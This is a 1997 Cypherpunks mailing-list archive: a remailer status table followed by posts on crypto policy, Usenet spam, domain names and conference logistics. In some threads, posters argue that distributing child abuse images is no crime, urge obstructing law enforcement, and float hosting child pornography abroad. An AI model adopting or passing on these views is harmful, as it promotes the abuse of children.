mix      mixmaster@remail.obscura.com     ..-.--*.-*.+  7:06:50  99.95%
weasel   config@weasel.owl.de             -+++.++--++   2:00:20  99.91%
squirrel mix@squirrel.owl.de              -+++.++--+++  2:00:46  99.86%
nym      config@nym.alias.net             +#*###+*#*#+     1:36  99.82%
winsock  winsock@rigel.cyberpass.net      ----.------+  5:42:48  99.78%
cyber    alias@alias.cyberpass.net        ++***# *****     8:13  99.71%
replay   remailer@replay.com               *****+*** *     4:23  99.25%
jam      remailer@cypherpunks.ca          **++.*+ ** *    13:03  99.10%
reno     middleman@cyberpass.net           -***+ **+ -  1:02:17  98.68%
hidden   remailer@hidden.net                            4:44:03 -14.70%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 14 Jul 1997 14:35:28 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707140617.IAA09395@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 14 Jul 1997 23:34:07 +0800
To: cypherpunks@toad.com
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <19970714034743.24942.qmail@zipcon.net>
Message-ID: <Fe6T0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> writes:

> 
> The Good Doctor writes:
> 
> > What is this stuff: http://hotbox.danni.com
> > username: antonio
> > password: 9183tc
> 
> > Why are they spamming me with their passwords?
> 
> Apparently, they think you will give them a credit card number they can
> bill $9.95 a month to in perpetuity, just for the privelege of being able
> to click on some jpg files of chunky women with big hooters. 
> 
> Go figure. 
But lots of these used to be available for free on alt.binaries.pictures.
erotica the last time I looked (which was admittedly many years ago).

Conspiracy theory: do you think the spammers are flooding the "free"
sources of good stuff (such as usenet) to eliminate the competition,
so people would have to pay them for same?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Tue, 15 Jul 1997 08:41:37 +0800
To: cypherpunks@Algebra.COM
Subject: Making Imaginary Sex Illegal
Message-ID: <33CAC79B.6293@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/news/politics/story/5153.html

Making Imaginary Sex Illegal

by Ashley Craddock 
12:05pm  14.Jul.97.PDT Is there such a thing as child porn which doesn't
involve children? Logic would say no, but adherence to the rules of
reason has never been a hallmark of the United States Congress,
particularly when it comes to hot-button issues like child protection. 

So maybe it shouldn't be surprising that Congress has made it a
criminal offense to depict non-obscene, sexually explicit material
involving anyone who "appears to be" a minor. Maybe it shouldn't be
surprising that it made it a criminal offense to advertise materials in
any way that "conveys the impression" that minors will be sexually
depicted. 

But what about the fact that Congress explicitly designed the law to
make computer-simulated child porn illegal? 

"Besides the completely unconstitutional prohibition on using young
adult actors, we're basically talking about criminalizing
pseudo-pornography," says William Bennett Turner, a San Francisco
First Amendment specialist. "I laughed when I first read that Congress
was trying to make imaginary sex illegal. I never thought the law
would pass." 

But in a climate in which the US president can seriously tout the myth
that fashion photography kicked off a heroin craze among teenagers
jonesing to jump on the fastest, hippest bandwagon, the Child
Pornography Protection Act was a sure shot. And at the end of 1996,
the law quietly made it a felony to engineer, sell, or even posses
computer-simulated images of smutty kids, or sexually explicit
depictions of real baby-faced adults. 

The rationale behind the Child Porn Act, introduced by Senator Orrin
Hatch (R-Utah), is by and large unoriginal: Pedophiles can use child
pornography - or anything that looks like child porn - to seduce kids.
Moreover, child porn, whether it depicts real kids, childlike adults, or
computer simulations of kids, makes pedophiles a little too hot and
bothered for society's good. But the age of morphing added a new twist
to the old arguments. When perverts can whip up sexual turn-ons
from composites of photographs of children or even from computer
graphics programs, argued supporters, a new child-porn definition is
crucial. 

Whether those computer-age fears have any more basis in reality than
your average monster-in-the-closet didn't seem to matter one whit
to Congress. Testimony that the Department of Justice had "not come
across any pedophiles who have actually used the morphing technology"
didn't slow the bill's passage. Neither did testimony by another
witness, Jeffrey Dupilka of the US Postal Service, who voiced his
official opinion that pedophiles "probably" knew about morphing
technologies, and were "most likely" using them, but that he didn't
"know for sure." No more concrete evidence made its way into Congress
before the bill passed. 

Now, anyone in possession of child pornography could face up to five
years in prison - more if they're repeat offenders. Producers and
distributors could face up to 30 years in jail for repeat offenses. 

Alarmed by the Child Porn Act's ramifications for films that cast
young actors as sexually active kids (before your favorite porn flick,
think Lolita or Romeo and Juliet) the adult entertainment industry
responded almost immediately. In January, the Free Speech Coalition
filed a brief against Attorney General Janet Reno, contending that the
government had far overstepped the First Amendment. 

The acting judge decided against a trial. Both parties, he announced,
could file briefs in support of their position. So on Friday, the
parties
filed their arguments in the United States District Court in San
Francisco. 

As the case has evolved, the government has moved toward the stance
that it didn't really mean to outlaw sexually explicit images of young
adults who might look like kids. What it meant to do was protect the
world from explicit kiddie morphs. 

It's a ridiculous position, argues Turner. So along with the American
Civil Liberties Union, last week he filed an amicus brief in support of
a
Free Speech Coalition's suit. "There is a real difference between
touching children sexually and touching computer keys to create
images: the former is wrong in itself and within the power of
government to prohibit; but there is nothing inherently wrongful
about using either a computer or adults to create sexually explicit
images," the document contends. 

The court is scheduled to hear oral arguments from both sides 8
August.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 15 Jul 1997 04:26:58 +0800
To: paul@fatmans.demon.co.uk
Subject: law as enemy: was Re: Jim Bell reference
Message-ID: <199707141829.TAA03188@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Paul,

Ant>                 Makes me think the issue is the preservation of many
Ant> thousands of _unathorised_ taps.  What else could explain that viewpoint?

PB> Don`t cloud the issue: The simple fact is strong encryption can and will 
PB> obstruct law enforcement agencies in their "fight" against terrorism, 
PB> child pornography, drugs etc... good.

Strong widespread crypto will cut down on much crime in the form of
electronic theft, blackmail etc.  I expect some obstruction of law
enforcement, but not enough to outweigh the benefits.  Despite the
occasionally glaring failures of a legal system it is still overall
of use to the public.


Ant> Incidentally, I'm against terrorism, child molestation etc etc. 
Ant> I'm confident most other cypherpunks are too, so no nonsense please
Ant> about free crypto supporters being backers of [crime of the month].

PB> Once again, you fail to give adequate qualification to this statement, 
PB> what forms of terrorism are you against: one mans terrorist is another 
PB> mans freedom fighter.   Were the French resistance during WWII terrorists? 

Not everything is relative.  WW2 was a clearly recognised war, in
which France had been invaded.

PB> Would you then say their actions were wrong? As for child molestation, 
PB> this is a clear cut case, most libertarians follow the basic rule that a 
PB> crime has to be a direct act of agression, and infringe the rights of 
PB> another person, therefore child molestation clearly comes into this 
PB> category, distributing pictures of children being molested, raped, 
PB> buggered, tortured and killed is clearly not a crime. Please clarify your 
PB> position on this.

Such photography would suggest at least cooperation with
those you'd regard as criminals.

My position is toward the Trei/Sameer end of the scale and away from
the extreme anarchist views of you, TCM and Jim Bell.  Not that you 3 are
always wrong, but in the issue of 'law always enemy' I completely fail
to see where you get your ideas.  Sufficiently clarified ?

PB> Above are two examples of why strong cryptography is a good thing, law 
PB> enforcement should be routinely obstructed as often as possible.

Are you going to post your home address and holiday plans on the list
so we give you the chance to gloat over failing law enforcement ?

There's probably not much point in pursuing this discussion.


--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 08:14:17 +0800
To: cypherpunks@toad.com
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <Pine.LNX.3.93.970715042701.104A-100000@shirley>
Message-ID: <kTVu0D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Conspiracy theory: do you think the spammers are flooding the "free"
> > sources of good stuff (such as usenet) to eliminate the competition,
> > so people would have to pay them for same?
>
> Porn4porn infact confess that thats what thay are doing.

I am not surprised.

I wish there were a technical solution to make Usenet immune to such
sabotage wihout abridging free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 15 Jul 1997 02:06:00 +0800
To: cypherpunks@toad.com
Subject: Jerry Springer Crypto Special
Message-ID: <199707141747.TAA01314@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



  Sitting at home this morning I decided to turn the TV to the Jerry
Springer show, assuming that, since his network was trying to promote
him as a News person, his show would no doubt be dealing with a serious
issue such as the future of the InterNet, encryption, censorship, etc.
  Instead, the show turned out to be titled, "I Cut Off My Manhood." It
was a delightfully artful mosaic about a guy who cut off his penis with
gardening shears, the queer stalker who had killed the penisless guy's
cat by throwing a recliner across the room, the stalker's lesbian friend
and two fairly average relatives of the self-mutilater who apparently 
were there to confirm for us that cutting off one's penis with a pair
of gardening shears is a bit over the edge, to say the best.

  Although I was disappointed in that encryption issues were not being
addressed on the show, I did get somewhat enlightened as to what we
can do to help spread strong encryption.
  The Jerry Springer audience got to see pictures of the mutilated penis
(I assume in close-up color glossies) while those of us at home had to
be content to watch the audience members groan and try not to throw up.
I immediately realized that if the show had been on WebTV and pictures
of the mutilated penis were available to home viewers in encrypted form,
that "Applied Cryptography" would soon be on the Best Seller lists
around the nation.

  Thinking about crypto issues from the standpoint of female body parts,
I realized that GAK and Key Recovery are likely to become a part of our
everyday reality because Silicon Valley Crypto has the same allure as
Silicon Breasts.
  We live in a bottle-fed society that has learned from infancy to
accept substitutes for the real thing. From topless bars to the beach,
we are willing to settle for the illusion that matches the advertised
product our minds have been sold, rather than accept the forms that
exist in reality and take the time and effort to find ones that truly
suit our needs and desires.

  Is a society that eats food that sometimes has less nutritional value
than the package it comes in, are the masses going to demand "the real
thing" in a crypto product, or will they settle for a watered down
product which "meets government standards" and comes in a pretty box?
  The masses don't have the time or expertise to test the nutritional
value of their food or the security of their crypto. They depend on
the government, corporations and the press to provide them with the
products and information to make a rational choice as to what truly
meets their needs.
  The government's main interest is power over the citizens; the
corporation's main interest is profiting from the citizens; the press'
main interest is pandering to government and corporations enough to
be kept from getting cut "out of the loop" of money and power.
  The only hope the masses have of getting anything resembling a square
deal in regard to the products and information they are fed is for
there to be enough individuals within the government, corporations and
the press who are willing to resist the mindless, self-perpetuating
evolution of these non-human entities, and make an effort to provide
products and information which have real value based on the goals which
they are designed and advertised to meet.

  There was a discussion on the list as to whether the cypherpunks who
have "gone corporate" are a blessing or a curse to the spread of strong
crypto. I think that the answer lies in the individual and in the final
product of their efforts.
  Perhaps crypto needs Colonel Tom Parker to promote it, with Barnum and
Baily bringing the Silicon Rockettes to town to give away pictures of
of a mutilated penis which can only be viewed using a strong crypto
product. ("As seen on the Jerry Springer show!")

  The Dark Forces are making a concerted bid to set the direction and
the tone of crypto debate and crypto development in a manner which will
lead to the negation of the constitutional right to have our freedom 
and our privacy unfettered by government intrusion.
  It is not government, nor corporations, nor the press, who ultimately
decide whether our freedom and privacy will be maintained or whether it
will be compromised. It is the individuals who make a decision whether
to go along with the abrogation of our rights in their own individual
self-interest, or whether they will speak out and/or resist those who
put the goals of organizations over the interests of the people.

  Our government and our society are being directed by manipulation of
the same mob mentality that is in evidence on the morning talk shows.
The voice of reason gets shouted down unless there are enough people
who realize that the answer to noise is more noise.
  The greater the position and authority of an individual, the more
noise they are able to make to counter the efforts of those who are
attempting to work the mob into a frenzy for their own aims. Thus
the greater is their responsibility to act in the long-term interest
of freedom. At the same time, unless there are people of conscience
at every level of government, corporation and society who are willing
to take a personal stand, and to support those in higher positions
who take a stand, then freedom is doomed.

  There is a Swiss bank security guard who discovered bank records
about to be shredded which detailed the accounts of Jews who were
victims of the Holocaust. He chose to resist "going along" with the
government laws, corporate rules, and societal taboos against making
a decision based on one's own conscience, and he "stole" the records
in order to prevent them from being destroyed.
  He was threatened with death, prosecution, had to leave his home
and country behind and faces an uncertain future. 
  There is a cost to resisting the fascism of organizations and of
society itself, and the less that resistance is spread among us,
then the greater the cost that each of us has to bear.

  Resist. Make noise.
  The freedom you save could be your own.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 15 Jul 1997 11:37:16 +0800
To: cypherpunks@toad.com
Subject: Register *any* domain name
Message-ID: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The Kingdom of Tonga has discovered a new stream of revenue. The lucrative
domain name system. Say you want to get a domain name involving the words
"Microsoft" or "Kodak". Or any other trademarked name. Internic won't help
you. What to do?

Never fear. The Kingdom of Tonga allows you to register any domain name.
Trademarked or not. Their fully automated domain registration system,
operating out of their San Francisco consulate, can be reached at
http://www.tonic.to

You can pay the registration fees online using their 128 bit SSL server.

Need more than a domain name? Such as one of those hard to come by
geostationary satellite orbits handed out by the ITU? TongaSat is leasing
theirs! http://www.netstorage.com/kami/tongasat/index.html

I just love free enterprise,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 15 Jul 1997 13:01:01 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Register *any* domain name
In-Reply-To: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970714212102.02fa4318@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:26 PM 7/14/97 -0700, Lucky Green wrote:
>Never fear. The Kingdom of Tonga allows you to register any domain name.
>Trademarked or not. Their fully automated domain registration system,
>operating out of their San Francisco consulate, can be reached at
>http://www.tonic.to
..
>I just love free enterprise,

"Kingdom .... free enterprise" -- hmmm  :-)
With an automated system, you can probably _register_ any name,
but you might have trouble keeping it registered.
Don't know how they'd feel about obscene names, or
"The-King-Is-A-Fink.to" or "Return-Minerva-Now.to"....

(The Republic of Minerva was a libertarianish new country
started in the 70s on the previously unclaimed Minerva Shoals,
about 200 miles from Fiji and 450 miles from Tonga.
The founders built up the reef to above the 1 foot above high tide
level that the UN counts as "land", and were building a harbor.
After they'd been open about six months, Tonga invaded
and stole the place.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 15 Jul 1997 13:05:44 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Register *any* domain name
In-Reply-To: <3.0.2.32.19970714202601.006d2ea4@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970714214212.006c0634@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:21 PM 7/14/97 -0700, Bill Stewart wrote:
>At 08:26 PM 7/14/97 -0700, Lucky Green wrote:
>>Never fear. The Kingdom of Tonga allows you to register any domain name.
>>Trademarked or not. Their fully automated domain registration system,
>>operating out of their San Francisco consulate, can be reached at
>>http://www.tonic.to
>..
>>I just love free enterprise,
>
>"Kingdom .... free enterprise" -- hmmm  :-)
>With an automated system, you can probably _register_ any name,
>but you might have trouble keeping it registered.
>Don't know how they'd feel about obscene names, or
>"The-King-Is-A-Fink.to" or "Return-Minerva-Now.to"....

They might object and revoke the domain. But they make it clear in their
FAQ that they couldn't care less about trademarks.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 15 Jul 1997 14:56:13 +0800
To: Stone Monkey <sm@nym.alias.net>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <19970712085043.11461.qmail@nym.alias.net>
Message-ID: <3.0.2.32.19970714215422.02fa6660@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>>> the Russian networking company in which Sun has a 10 percent stake, to
>>> turn over the source code of its SunScreen SKIP E+.
>>Why should the US government get access to the source code of foreign
>>product being imported to the US?

With PGP, they'd get the source code because users insist
that it be available so they know whether they can trust it.
With some commercial products, they'd have to pay for a source license...

At 08:50 AM 7/12/97 -0000, Stone Monkey wrote:
>To me the announcement implied that the NSA wanted to compare Sun's
>and Elvis+'s implementations, to verify that they are actually different.
>To check that Sun didn't simply smuggle the code out and launder it 
>through Elvis+.  They're not looking at imports (why would Elvis+'s
>code be imported?  It's already available domestically from Sun),
>they're looking at Sun's well-publicised end-run around the crypto chilling
>effect, to see if Sun perhaps cut any corners.

In America, the standard Constitutionally-approved method for law enforcers 
to get access to private papers is to get a court to issue a warrant 
naming the probable cause to suspect that a crime has been committed 
and the particular items to be seized.  If the FBI wants to accuse Sun
of export violations, they can do it.  Last I heard, the NSA's
job didn't include law enforcement - just building tools to protect 
government communications, and eavesdropping on foreigners,
and occasionally providing technical expertise to other government agencies.

> But it's more fun to rant about the paranoid thrashings of a government
> bogeyman than it is to attempt to understand the actions of the NSA,
> which is not staffed by stupid people.

[BOOGA BOOGA BOOGA!]  Understanding their actions doesn't mean approving.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 15 Jul 1997 07:35:38 +0800
To: cypherpunks@toad.com
Subject: Campingsport Amsterdam
Message-ID: <19970714222102.32274.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain






For those planning to attend HIP97, there is already a
cypherpunk party coming from the West coast.  Some details
can be seen on the hip website http://www.hip97.nl

People making other arrangements may be interested in this
tidbit from the NL tourist board.



X-From: I.Princen@inter.NL.net Mon Jul 14 12:33:37 1997
X-Sender: iprincen@solair1.inter.NL.net
Date: Mon, 14 Jul 1997 14:32:09 +0200
From: Ingrid Princen <I.Princen@inter.NL.net>
Subject: Re: Camping arrangements

Good afternoon,

Please contact:

Campingsport Amsterdam
Jan van Galenstraat 271
1056 BZ Amsterdam
tel.: 020-6128911
fax : 020-6184509

Kind regards,

Ingrid Princen
Netherlands Board of Tourism

At 08:00 PM 7/9/97 -0000, you wrote:
>Dear Sir,
>
>I wonder if you could please tell me where to obtain
>(hire or buy) tents near Amsterdam in early August
>for a camp near Almere.
>
>10 man army style tents may suit us best.
>
>If you can pass on details of any tent shops or
>hire shops that would be very useful.  Payment will
>probably be by credit card.
>
>Thanks much.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc.briceno@usa.net>
Date: Tue, 15 Jul 1997 13:37:00 +0800
To: cypherpunks@Algebra.COM
Subject: Electronic commerce has long way to go
Message-ID: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



After watching Ian Goldberg's demo of all the neat things one can do on an
US Robotics Palm Pilot PDA, I decided to purchase such a device.

I headed to USR's website. The Pilot Pro is listed for $399. Always looking
for a bargain, I headed to Yahoo and quickly found several "best deal"
search engines. Some were better, some were worse, but they all pointed me
to a number of suppliers selling the Pilot Pro for as little as $339. A $60
savings over list or my local CompUSA store. Below is my experience with
the sites. The sites are listed in increasing order of amount charged for
the same item.

1. No online ordering. Call us during regular East Cost business hours.
2. No online ordering. No times are given.
3. Has online ordering. CC# is sent unencrypted.
4. Has online ordering and a link to a secure server. Link is stale.
5. Has online ordering and a link to a secure server. Link times out.

Guess I'll just swing by the CompUSA in the morning.

This is pathetic,





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 15 Jul 1997 14:54:41 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Twilight Zone Re: Freeh's Testimony (FBI Seeks Domestic GAK)
In-Reply-To: <199707111954.VAA02222@basement.replay.com>
Message-ID: <3.0.2.32.19970714230754.02fba77c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>>   Sometimes I feel like the guy on the plane in the "Twilight Zone"
>> movie, who is the only one who can see the monster on the plane's
>> wing that is endangering everyone's life. 
>
>Small question: I seem to remember this film, is it the small green 
>monster which keeps dancing and fucking with the planes engines?

You've been caught by advancing technology.  In the movie version,
the monster was green and scary-looking.  In the original TV episode,
with William Shatner as the armed passenger on the plane,
the monster looked like a man in a cheap white gorilla suit :-)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 12:32:50 +0800
To: cypherpunks@toad.com
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <33CAC79B.6293@nwdtc.com>
Message-ID: <uJ7u0D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen <root@nwdtc.com> writes:
> Making Imaginary Sex Illegal
>
> by Ashley Craddock
> 12:05pm  14.Jul.97.PDT Is there such a thing as child porn which doesn't
> involve children? Logic would say no, but adherence to the rules of
> reason has never been a hallmark of the United States Congress,
> particularly when it comes to hot-button issues like child protection.

This has zero crypto-relevance, so I'll rant about the movies instead.

Some folks on this list may have heard of the book _Lolita by Vladimir
Nabokov, and/or seen the movie (directed I think by Stanley Kubrik circa
1965).  A couple of years ago someone remade the movie using a 14-year-old
actress.  Naturally, there was no sex.  Nevertheless every U.S. ditributor
refused to distribute the movie expressing the fear of being charged with
child pornography.

And of course you heard that _The Tin Drummer_, the German movie that won
the Oscar a couple of years ago, was seized in Oklahoma as being child porn.

Has anyone _not_ see _The Bridge over the River Kwai_? Did you know that
the sequel, _The Return to the River Kwai_, fairly successful in most countries
outside the U.S., was never released in the U.S. (in theaters or on tape),
perhaps because Sony owns the rights in the U.S. and found the movie
offensive to the Japs? (Wait a minute, that's not child porn...)

ObHack: Isn't child porn legal in some European countries? How about setting
up a (free) Web site someplace like Denmark with pictures that are illegal
in the U.S.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 15 Jul 1997 12:32:53 +0800
To: cypherpunks@toad.com
Subject: Re: Bizarre e-mail in the orphan mailbox
In-Reply-To: <Pine.LNX.3.93.970715081542.104F-100000@shirley>
Message-ID: <437u0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> On Mon, 14 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> >
> > > Porn4porn infact confess that thats [...Spamming to destroy free
> > > porn...] what thay are doing.
>
> > I wish there were a technical solution to make Usenet immune to such
> > sabotage wihout abridging free speech.
>
> (? the Platypus looks up from the reams of perl code he is writing)
>
> Dimitri what do you think NoCeMs are then?

Sigh. I've experimented with "hide" NoCeMs for traffic that in my opinion
was off-topic in certain badly infested newsgroups, and wasn't quite happy.
If the saboteur posts 10,000 junk articles that must be distributed
before the NoCeMs are issued and applied, then he has succeeded in
causing damages. "Hide" NoCeMs work fine against plan old "spam" (multi-
posting a few articles), but not against deliberate flooding with tens
of thousands of articles.

A better idea might be "select" NoCeMs first suggested by the CancelMoose,
but not implemented in any reader I know.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 15 Jul 1997 15:34:25 +0800
To: kris carlier <root@krisnix.iguana.be>
Subject: Re: Campingsport Amsterdam
In-Reply-To: <19970714222102.32274.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970715001745.0069eacc@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:58 AM 7/15/97 +0200, kris carlier wrote:
>we're going there too, and one of the things we wondered was whether it
>might have been possible to hire a tent *locally*. I can get tents all
>right, but the biggest problem is transportation. I surely hope that in
>case you're going to rent one of their tents, delivery and pick-up is
>included.

Amsterdam isn't all that far from the camp site and you can always make a
run there. I rented one of the 10x5 meter army tents used for the San
Francisco Bay Area delegation from

Purmerend
Beemsterbugwal 12  (++ 31 299 420999)

The tent is 250FL, deposit is 750FL for a total of 1000FL.

See you all in Amsterdam,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 15 Jul 1997 07:34:40 +0800
To: cypherpunks@toad.com
Subject: Re: law as enemy: was Re: Jim Bell reference
Message-ID: <199707142311.BAA24145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Antonomasia wrote: 
> Paul Bradley wrote: 
> Ant>                 Makes me think the issue is the preservation of many
> Ant> thousands of _unathorised_ taps.  What else could explain that viewpoint?
> 
> PB> Don`t cloud the issue: The simple fact is strong encryption can and will
> PB> obstruct law enforcement agencies in their "fight" against terrorism,
> PB> child pornography, drugs etc... good.

  You are both right. 
  Strong crypto will obstruct LEA's from doing the *millions* of
unauthorized taps on communications in their "holy war" against 
?crime?.

> Strong widespread crypto will cut down on much crime in the form of
> electronic theft, blackmail etc.  I expect some obstruction of law
> enforcement, but not enough to outweigh the benefits.

  Strong crypto will merely shift the nature of crimes being commited
from LEA-originated to criminal-originated, which is the way God has
planned it to be from the beginning.
  If we are going to play good-guy/bad-guy, there ought to be a real
difference between the two. Kids on a playground know that much.

>  Despite the
> occasionally glaring failures of a legal system it is still overall
> of use to the public.

  Attitudes like this are the cause of the erosion of our freedom and
privacy. 
  "Give me compromise of freedom or give me death." <WRONG> 
  "It is better for ten innocent men to be convicted than for one
guilty child molester to go free." <WRONG>
  Why do we never hear anyone saying "Sure, the legal system just
fucked me silly and unjustly ruined my life, but it is 'still overall
of use to the public'."? The reason is that a roll of the dice isn't
good enough when it comes to *ourself* receiving justice.
  Anyone who is comfortable for a roll of dice to decide the justice
received by *the other guy* is a fool and your enemy.

> PB> Would you then say their actions were wrong? As for child molestation,
> PB> this is a clear cut case, most libertarians follow the basic rule that a
> PB> crime has to be a direct act of agression, and infringe the rights of
> PB> another person, therefore child molestation clearly comes into this
> PB> category, distributing pictures of children being molested, raped,
> PB> buggered, tortured and killed is clearly not a crime. Please clarify your
> PB> position on this.
> 
> Such photography would suggest at least cooperation with
> those you'd regard as criminals.

  Bullshit. The current hot-ticket item in Canada is video of the girls
being tortured, raped and murdered by Paul Bernardo. These videos are
coming from the people involved in his prosecution and imprisonment.
  Are the TV networks cooperating with criminals by profiting from the
pictures of the OKC bombing, etc? Their extensive coverage certainly
makes such actions a good public forum for the potential terrorist.

> PB> law
> PB> enforcement should be routinely obstructed as often as possible.
> 
